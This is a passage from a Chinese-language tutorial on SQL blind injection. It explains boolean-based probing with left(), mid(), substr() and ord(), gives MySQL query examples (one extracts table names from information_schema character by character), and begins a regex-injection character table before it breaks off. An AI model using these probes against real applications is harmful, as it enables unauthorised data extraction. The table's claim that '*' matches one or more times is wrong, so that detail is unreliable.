1、盲注概念
盲注的概念:盲注不同于联合注入等可以回显数据的注入。在 sql 注入过程中,sql 语句执行完成后,这些数据不能回显到前端页面,这种情况下我们不能通过页面的响应来直接得到我们想要的数据。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
盲注分为三类:布尔盲注,时间盲注,报错盲注
2、布尔注入
布尔注入的核心思想是构造逻辑判断语句,利用对错、是否、0和1等具有逻辑性的组合来判断我们想要的数据是否存在或是否正确。
常用函数有left(),mid(),substr(),ord()
left(string, n):string为要截取的字符串,n为长度。
例如:
select left(database(),1)='w';
//猜数据库名字的第一个字母,错误返回0;
+------------------------+
| left(database(),1)='w' |
+------------------------+
| 0 |
+------------------------+
select left(database(),1)='s';
//猜数据库名字的第一个字母,正确返回1;
+------------------------+
| left(database(),1)='s' |
+------------------------+
| 1 |
+------------------------+
ord(string):返回字符串的ASCII代码
例如:
select ord('s');
//查询字母s的ASCII代码
+----------+
| ord('s') |
+----------+
| 115 |
+----------+
select ord(left(database(),1))=115;
//结合left()函数,查询数据库第一个字母的ASCII代码是否为115
+-----------------------------+
| ord(left(database(),1))=115 |
+-----------------------------+
| 1 |
+-----------------------------+
mid(string, start,[length]):截取字符串的一部分,start为开始位置,length为截取的长度,可省略。
例如:
select mid(database(),1,1)='s';
+-------------------------+
| mid(database(),1,1)='s' |
+-------------------------+
| 1 |
+-------------------------+
substr()和mid()函数实现的功能是一样的。另外还有一个substring()函数,也是一样的功能。
跟ord()函数作用一致的还有ascii()函数
上述函数在注入的时候只需要把string改成我们构造的语句就可以了。
例如:
select substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='s';
+-------------------------------------------------------------------------------------------------------------+
//将substr中string的内容换成我们构造的SQL语句,我们就可以得到我们想要的,像这个语句中,我们就可以知道,当前数据库的第一个表名的第一个字符不为s
| substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='s' |
+-------------------------------------------------------------------------------------------------------------+
| 0 |
+-------------------------------------------------------------------------------------------------------------+
此外,我们还可以用正则匹配注入以及like注入
regexp正则注入
其中可以使用的正则表达式字符有以下这些
字符 | 描述 |
---|---|
$ | 匹配输入字符串的结尾位置。如果设置了 RegExp 对象的 Multiline 属性,则 $ 也匹配 ‘\n’ 或 ‘\r’。要匹配 $ 字符本身,请使用 \$。 |
( ) | 标记一个子表达式的开始和结束位置。表达式可以获取供以后使用。要匹配这些字符,请使用 \( 和 \)。 |
* | 匹配前面的子表达式一次或多次。要匹配 * 字符,请使用 \*。 |
. | 匹配除换行符 \n 之外的任何单字符。要匹配 . ,请使用 \. 。 |
[ | 标记一个中括号表达式的开始。要匹配 [,请使用 \[。 |
+ | 匹配前面的子表达式一次或多次。要匹配 + 字符,请使用 \+。 |
? | 匹配前面的子表达式零次或一次,或指明一个非贪婪限定符。要匹配 ? 字符,请使 |